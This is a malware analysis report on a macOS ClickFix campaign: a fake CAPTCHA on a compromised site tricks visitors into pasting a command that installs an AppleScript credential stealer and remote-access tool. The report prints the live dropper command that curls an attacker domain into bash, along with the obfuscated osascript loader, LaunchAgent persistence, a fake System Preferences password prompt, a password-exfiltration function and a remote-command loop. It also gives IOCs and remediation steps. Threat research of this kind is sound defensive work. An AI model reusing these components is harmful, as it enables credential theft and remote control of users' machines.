

Malware Analysis Report

macOS.Stealer.ClickFix - AppleScript RAT

March 2026 | str4int | v1.1
TLP:GREEN

Disclaimer

This report is published for educational and research purposes only. All code snippets, indicators of compromise, and technical details included herein are extracted from a real-world malware sample and are shared solely to advance the understanding of current threat techniques within the security research community.

The analysis, findings, and opinions expressed in this document are those of the author alone and do not represent the views of any employer, organisation, or affiliated entity.

All URLs, domains, and indicators have been defanged to prevent accidental execution or navigation. Reproduction or weaponisation of any content contained in this report is strictly prohibited. The author assumes no liability for any misuse of the information presented.

This report is shared in accordance with the principles of responsible disclosure and coordinated vulnerability research.

TLP:GREEN : Disclosure is not limited. Subject to standard copyright rules, this content may be distributed without restriction.

Contents

Executive Summary	4
High-Level Technical Summary	4
Execution Flow	5
Technical Analysis	6
Stage 0 : Compromise web site	6
Stage 1 : Bash Dropper	8
Stage 3 : C2 Resolution (<i>Dead Drop Resolver</i>)	9
Stage 4 : Credential Harvesting (<i>Worst-Case Scenario</i>)	10
Stage 5 : Arbitrary Remote Code Execution (<i>Worst-Case Scenario</i>)	11
MITRE ATT&CK Mapping	12
Indicators of Compromise	13
Network	13
Host-Based	13
Other	13
Remediation	14
1. Remove Persistence & Malware (<i>macOS terminal</i>)	14
2. Credential Rotation (<i>Precautionary</i>)	14
3. Endpoint Scan	14
4. Network Controls	14
5. Reporting	15
6. Website Remediation (<i>Generic - Compromised Web Server</i>)	15

Executive Summary

A macOS device visited **redacted-website[.]ch**, a compromised legitimate website.

The ClickFix widget was injected into every page via a file deposited on the web server under a long, obfuscated path, loaded on demand during standard HTTP interactions.

This loader file dynamically injected the fake BotGuard CAPTCHA widget into the DOM, instructing the victim to open Terminal and paste a command. The command silently downloaded and executed a multi-stage, doubly obfuscated AppleScript payload. The payload installed a LaunchAgent for persistence and attempted C2 contact.

A second independent malicious component was also identified on the same site: a crypto wallet drainer that retrieves its payload dynamically from a smart contract deployed on a public blockchain network. This component will be the subject of a separate analysis.

The device was disconnected from the network immediately after execution. All identified C2 servers were offline at the time of execution, preventing credential harvesting. The C2 infrastructure was subsequently confirmed active at time of publication. **The IOCs listed should be treated as live threats.**

High-Level Technical Summary

Property	Value
Malware Family	macOS.Stealer / AppleScript RAT
Delivery Method	ClickFix - Fake BotGuard CAPTCHA
Initial Vector	Compromised legitimate website (<i>domain redacted</i>)
Target Platform	macOS - all versions with osascript
Execution Method	In-memory via osascript, no binary dropped prior to persistence stage
Persistence	LaunchAgent - com.bashsrc.hkwiayciJylekgjt.plist
C2 Mechanism	Dead Drop Resolver via Telegram + hardcoded fallbacks
Tracking	Yandex Metrica ID 99162160 embedded in lure page
C2 Status	Offline at time of execution / Online at time of publication
Data Exfiltrated	No evidence of exfiltration
Analyst	str4int

Execution Flow

Stage 0 : redacted-website[.]ch

Compromised website - fake BotGuard CAPTCHA (ClickFix)
Yandex Metrica ID 99162160 tracks victim interactions

↓ victim pastes clipboard command in Terminal ↓

Stage 1 : Bash Dropper

curl hXXp://b46ohy2g.colitishatred[.]digital - (UA spoofed: Mac OS X 10_15_7)
Domain, actmn= token and payload rotate per session

↓ fetches + executes osascript ↓

Stage 2 : In-Memory Deobfuscation

osascript → double base64 decode → AppleScript payload (all in memory) Writes script to
~/Library/hkwiayciJylekgtj

↓ writes to disk ↓

Stage 3 : Persistence

~/Library/hkwiayciJylekgtj LaunchAgent: com.bashsrc.hkwiayciJylekgtj.plist

↓ setDomain() ↓

Stage 4 : C2 Resolution (Dead Drop)

Telegram @phefuckxiabot → kys[.]li → kys[.]cx Expects response: 'wait' on /api.php?check=1

C2 ONLINE

Credential theft + RAT loop

or

C2 OFFLINE

setDomain() enters an aggressive retry loop
(~5957 wakes/second confirmed by kernel log)

C2 servers were offline at time of execution. Stages 4 and 5 are worst-case scenarios.
No evidence of credential harvesting or remote code execution was observed in this incident.

Technical Analysis

Stage 0 : Compromise web site

The victim visited **redacted-website[.]ch**, a legitimate website that had been compromised. During analysis of the infected site, the ClickFix widget was found to be injected into every page via a file deposited directly on the web server.

The file used a long, randomly-generated obfuscated path and was loaded on demand during standard HTTP interactions with the site. The file itself acted as the loader and dynamically injected the fake BotGuard CAPTCHA widget into the DOM at runtime.

This server-side file deposit technique indicates the attacker had write access to the server filesystem, likely through a compromised plugin, stolen credentials, or a webshell. Additionally, a second independent malicious component was identified on the same site: a **crypto wallet drainer** operating via a blockchain-based C2 (*BSC Testnet smart contract*). This component is outside the scope of the present report and will be the subject of a separate analysis.

The page HTML source reveals an **embedded Yandex Metrica analytics** call wired to the fake checkbox click event:

```
<div class="_pu8yaqWd_d0g9X6i0" style="visibility: unset; display: unset;"><link rel="stylesheet" href="https://use.
fontawesome.com/releases/v5.0.0/css/all.css">
<div id="_6dldhdQU" class="_6dldhdQU_d0g9X6i0 block">
  <div class="_cplgTi2S-container_d0g9X6i0">
    <button type="button" id="_cplgTi2S" onclick="ym(99162160,'reachGoal','Click',{ clientID: usr_id })"
      class="_cplgTi2S_d0g9X6i0_Ls011Vj3" disabled="" style="width: 4px !important; height: 4px !important;
      border-radius: 50% !important; margin-left: 25px !important; margin-top: 33px !important; opacity: 0 !important;"></
      button>
    </div>
    <p class="_aZjVQtHJ_d0g9X6i0_Ls011Vj3">I'm not a robot</p>
    
    <br>
    <p class="_cplgTi2S-desc_d0g9X6i0_Ls011Vj3">
      <a href="https://www.google.com/intl/en/policies/privacy/">Privacy</a> - <a href="https://www.google.com/intl/en/policies/
      terms/">Terms</a>
    </p>
    <img class="_FwPcJTdH" alt="" id="_FwPcJTdH" style="visibility: visible !important; opacity: 1 !important;">
  </div>
</div>
```

(Yandex Metrica onclick counter)

This confirms the attacker is actively tracking conversion metrics and how many victims interact with the lure. The Metrica counter ID 99162160 is a potential pivot point for attributing related lure infrastructure operated by the same actor. This is not opportunistic malware.

The fake CAPTCHA then presents a multi-step verification panel instructing the victim to:

- Open Terminal (Applications → Utilities → Terminal)
- Press Command + V in the Terminal window (pastes the pre-loaded clipboard payload)
- Press Enter to complete "verification"

The panel displays a fake confirmation string, *"I am not a robot - reCAPTCHA Verification ID: 47361"*, to legitimise the action in the victim's eyes.

```
<div id="_ZpNAHpNz" class="_ZpNAHpNz" style="display: block !important; visibility: visible !important; opacity: 1 !important; top: 5px !important; left: 543px !important;">
  <div class="_KrGBDudZ">
    <header class="_AGx2fNoY">
      <span class="_vrPDfQwn _d0g9X6i0 block">Complete these</span>
      <span class="_Zbf3CwIq _d0g9X6i0 block">Verification Steps</span>
      <span class="_vrPDfQwn _d0g9X6i0 block"></span>
    </header>
    <main class="_JrqcjFr0">
      <p>
        To better prove you are not a robot, please:
      </p>
      <ol>
        <li>
          Open Terminal application on your Mac (you can find it in Applications -&gt; Utilities -&gt; Terminal).
        </li>
        <li>
          In the verification window, press <b>Command</b> + <b>V</b>.
        </li>
        <li>
          Press <b>Enter</b> on your keyboard to finish.
        </li>
      </ol>
      <p>
        You will observe and agree:
        <br>
        <code>
           "I am not a robot - reCAPTCHA Verification ID: <span id="_OXqCSGnK">50892</span>"
        </code>
      </p>
    </main>
  </div>
</div>
```

(Malicious div on compromised website)

Stage 1 : Bash Dropper

The ClickFix lure pre-loads the victim's clipboard with the following command. The trailing echo imitates the BotGuard reference ID shown on screen, reinforcing the illusion of a legitimate verification:

```
/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL 'avfts61o.colitishatred.digital/?=check&&actmn=OyuQoohsofxAbZie'); echo  
""BotGuard: Answer the protector challenge. Ref: 47361"
```

(clipboard injected command)

The User-Agent is spoofed to **'Mac OS X 10_15_7'**, a strong indicator of server-side OS filtering to ensure the payload is only served to macOS targets. The server responds with an `osascript` invocation wrapping a double base64-encoded AppleScript payload:

During investigation, the dropper domain, `actmn=` token, and base64 payload were observed to change across visits. This indicates server-side per-session payload generation and active campaign maintenance.

Stage 2 : In-Memory Deobfuscation & Persistence

The `osascript` wrapper is double base64-encoded to evade static analysis. The outer layer decodes to a shell script that decodes the inner layer and pipes it into **`osascript`**:

```
osascript -e "$(echo "ZG8gc2h1bGwg..." | base64 -d)"
```

(wrapper - `osascript`)

Once decoded, the AppleScript writes itself to disk and installs a **LaunchAgent** to survive reboots:

```
do shell script "  
SCRIPT_PATH=\"$HOME/Library/hkwiaycijylekgtj\";  
mkdir -p \"$HOME/Library/LaunchAgents\";  
cat > \"$HOME/Library/LaunchAgents/com.bashsrc.hkwiaycijylekgtj.plist\" ...  
"
```

(Malware written to `~/Library/hkwiayciJylekgtj` for persistence)

macOS **Background Task Management (BTM)** detected the agent immediately upon installation and notified the user. The user disabled the agent via the system prompt, causing `launchd` to send **SIGTERM** after **74 seconds of execution** (confirmed: ran for 74888ms). This protection significantly limited the exposure window.

Persistence is the only stage that leaves durable disk artifacts. All others stages will be executed entirely in memory.

Stage 3 : C2 Resolution (*Dead Drop Resolver*)

The active C2 domain is not hardcoded. It is retrieved at runtime from a public [Telegram channel bio](#), making the infrastructure resistant to simple domain-based blocking. Two hardcoded fallback domains are probed if the Telegram lookup fails.

Each candidate must return the exact string **'wait'** on the health-check endpoint to be accepted:

```
property BuildTXD: "4c93424642f6138566899d842eaf1a43"

on setdomain()
  -- Fetch live C2 domain from Telegram bio
  set domain to do shell script "curl -s https://t.me/phefuckxiabot | sed -n 's/.*<span dir=\"auto\">\\([^\"]*\\)</span>.*</p>'>\\1/p'"
  -- Fallback 1
  set domain to "kys.li"
  -- Fallback 2
  set domain to "kys.cx"
end setdomain

-- If c2 answer "wait" will be set as activedomain
if setdomain() then
  do shell script "curl -s " & (activedomain & "get.php?oid=" & BuildTXD) & " | osascript"
end if
```

(setdomain() function to retrieve C2 domain)

BuildTXD (session ID) is sent with each request. Four distinct values observed across four visits to the dropper. Server-side per-session is generated, not a reliable static IOC.

Stage 4 : Credential Harvesting (Worst-Case Scenario)

No evidence of execution. Documented for completeness and threat modelling only.

If `setDomain()` succeeds, the `authAndSync()` function is called. It first registers the victim device with the C2 and checks whether a password is already on file. The function handles four distinct states:

- **newuser / nullpwd** : First contact or no password stored, victim is prompted for credentials
- **N!O!P!A!S!S** : No macOS login password set, flag sent to C2 silently with no dialog shown
- **Stored password valid** : C2 returns stored password and local verification passes, execution continues silently
- **Stored password invalid** : Password has changed since last contact, victim is re-prompted

The fake System Preferences dialog loops until the correct local macOS password is entered (verified via `dscl`):

```
on getPassword(username)
  if checkPassword(username, "") then
    return "N!O!P!A!S!S"
  else
    repeat
      try
        set result to display dialog "To run the application you need to change the settings
        for its operation\n\nPlease enter your password:" default answer "" with icon caution
        buttons {"Continue"} default button "Continue" giving up after 150 with title "System
        Preferences" with hidden answer
        set password_entered to text returned of result
        if checkPassword(username, password_entered) then return password_entered
      end try
    end repeat
  end if
end getPassword
```

(Impersonates System Preferences, loops until correct)

Once a valid password is obtained, it is base64-encoded and exfiltrated to the C2 via a GET request:

```
on sendPassword(hwid, username, pwd)
  try
    set linka to activedomain & "api.php?hwid=" & hwid & "&username=" & username & "&pwd=" & pwd & "&oid=" & BuildTXD
    set response to do shell script "curl -s " & quoted form of linka
    if response contains "success" then
      return true
    else
      return false
    end if
  on error
    return false
  end try
end sendPassword
```

(sendPassword() function, base64 encoded is performed in a separate function)

Stage 5 : Arbitrary Remote Code Execution (*Worst-Case Scenario*)

No evidence this stage executed. Documented for completeness and threat modelling only.

After **authAndSync()** completes, **listenCommands()** is called. It enters an infinite loop, beaconing to **task.php** every **30 seconds**. Any non-'notasks' response is executed as a shell command silently in the background, , granting the attacker arbitrary code execution on the victim machine.

```
on listenCommands()
  set username to (system attribute "USER")
  set deviceuuid to do shell script "system_profiler SPHardwareDataType | awk '/Hardware UUID/ { print $3 }'"
  repeat
    try
      set taskData to getTask(deviceuuid, username)
      if (taskData contains "notasks") then
        -- pass
      else
        try
          do shell script "nohup sh -c " & quoted form of taskData & " > /dev/null 2>&1 < /dev/null &"
        end try
      end if
    end try
    delay 30
  end repeat
end listenCommands

if setDomain() then
  authAndSync()
  listenCommands()
end if
```

(ListenCommands() function and potential taskData execution)

The **nohup** & pattern ensures spawned child processes survive even if the parent osascript is killed. This grants the attacker arbitrary remote code execution capabilities: file exfiltration, keylogging, additional payload staging, lateral movement, or ransomware deployment.

MITRE ATT&CK Mapping

Tactic	Technique	ID	Confirmed
Initial Access	Phishing via Web (ClickFix)	T1189	Yes
Execution	Command & Scripting: AppleScript	T1059.002	Yes
Execution	User Execution: Malicious Command	T1204.001	Yes
Persistence	Launch Agent	T1543.001	Yes
Defense Evasion	Obfuscated Files (Double Base64)	T1027	Yes
Defense Evasion	Masquerading (System Preferences)	T1036	Worst-case
Defense Evasion	Trusted Utility Abuse (osascript)	T1216	Yes
Credential Access	GUI Input Capture	T1056.002	Worst-case
Discovery	System Information Discovery	T1082	Worst-case
C2	Dead Drop Resolver (Telegram)	T1102.001	Yes - failed
C2	App Layer Protocol: HTTP	T1071.001	Worst-case
Exfiltration	Exfiltration Over C2 Channel	T1041	Worst-case

Indicators of Compromise

Network

Type	Value (Defanged)	Notes
Domain	redacted-website[.]ch	Initial compromised website, ClickFix lure page for macOS
Domain	b46ohy2g.colitishatred[.]digital	Stage 1 dropper server
Domain	avfts61o.colitishatred[.]digital	Stage 1 dropper server
Domain	pexsn10h.budenowcvolt[.]digital	Stage 1 dropper server
Domain	kys[.]li	C2 fallback #1 (Cloudflare proxy)
Domain	kys[.]cx	C2 fallback #2 (NXDOMAIN at time of analysis)
IP	172[.]67[.]150[.]213	Cloudflare range - Not a static IOC.
URL	hXXp://kys[.]li/api.php?check=1	C2 health check. Expected response: "wait"
URL	hXXp://kys[.]li/api.php	Password + UUID exfil endpoint
URL	hXXp://kys[.]li/task.php	RAT command polling (30s interval)
URL	hXXp://kys[.]li/get.php	Stage 2 payload delivery
Telegram	hXXps://t[.]me/phefuckxiabot	Dead Drop Resolver / live C2 domain in bio

Host-Based

Type	Path
Malware script	~/Library/hkwiayciJylekgtj
LaunchAgent	~/Library/LaunchAgents/com.bashsrc.hkwiayciJylekgtj.plist

Other

Type	Value	Notes
Metrika ID	99162160	Yandex Metrika counter in lure page potential actor pivot
User-Agent	Mac OS X 10_15_7	Spoofed UA in dropper curl macOS target filter
Label	com.launch.hkwiayciJylekgtj	LaunchAgent Label field
BuildTXD	Dynamic / per session	4 distinct values across 4 visits. Not a static IOC.

Remediation

Perform in order while the device remains offline:

1. Remove Persistence & Malware *(macOS terminal)*

- Control and kill if malware is running
 - `ps aux | grep osascript`
 - `ps aux | grep osascript | kill`
- Get command history :
 - `History`
 - `cat ~/.zsh_history`
- Check if folder exist and LaunchAgent :
 - `ls ~/Library | grep hkwiayciJylekgtj`
 - `ls ~/Library/LaunchAgents | grep bashsrc`
- Remove persistence mechanism :
 - `launchctl unload ~/Library/LaunchAgents/com.bashsrc.hkwiayciJylekgtj.plist`
 - `rm ~/Library/LaunchAgents/com.bashsrc.hkwiayciJylekgtj.plist`
 - `rm ~/Library/hkwiayciJylekgtj`
- Audit remaining LaunchAgents :
 - `ls -la ~/Library/LaunchAgents/`
 - `launchctl list | grep -v com.apple`
 - `grep -R "osascript" ~/Library/LaunchAgents /Library/LaunchAgents /Library/LaunchDaemons 2>/dev/null`
- Check newly created files :
 - `find ~/Library -type f -mtime -1`
- Check logs related to malware :
 - `log show --predicate 'eventMessage CONTAINS "com.bashsrc"' --last 1d`
 - `log show --predicate 'eventMessage CONTAINS "hkwiayciJylekgtj"' --last 1d`

2. Credential Rotation *(Precautionary)*

- Change macOS local account password *(System Settings → Users & Groups)*
- Rotate Keychain / Passwords app credentials: Apple ID, email, banking, SSH keys, API tokens

3. Endpoint Scan

- Check: `/Library/LaunchAgents/`, `/Library/LaunchDaemons/`, `~/Library/Application Support/`
- Run a FULL AV scan (Malwarebytes for Mac or KnockKnock) before reconnecting

4. Network Controls

- Block at DNS/firewall: **kys[.]li**, **kys[.]cx**, **colitishatred[.]digital**
- Monitor outbound traffic to domain or IPs in IOC

5. Reporting

- Cloudflare Abuse: `hXXps://abuse.cloudflare[.]com - kys[.]li / kys[.]cx`
- Telegram: report @phefuckxiabot via @abuse
- URLhaus / abuse.ch: submit droppers and C2 domains
- Notify the compromised website owner and hosting provider of the incident

6. Website Remediation (*Generic - Compromised Web Server*)

- Identify and remove any files deposited by the attacker on the server filesystem, paying particular attention to files with long obfuscated names and no extension, especially in the webroot and media upload directories.
- Review and update all CMS plugins and themes to their latest versions. Audit for known vulnerable or abandoned plugins that could have served as the initial access vector.
- Rotate all credentials: CMS admin accounts, FTP/SFTP, cPanel/hosting panel, database passwords. Enable two-factor authentication on all admin interfaces.
- Analyse server access logs to determine the initial compromise vector and the full duration of the infection window. Notify any visitors who may have been exposed.
- Deploy a Content Security Policy (CSP) header to restrict inline script execution and limit allowed script sources. This mitigates future script injection attacks, including ClickFix variants.
- Note: the Yandex Metrika tracker ID embedded in the lure page (*see IOCs*) is dynamic per campaign but may persist across related lure infrastructure operated by the same threat actor. Monitor for this ID appearing on other sites as a pivot indicator.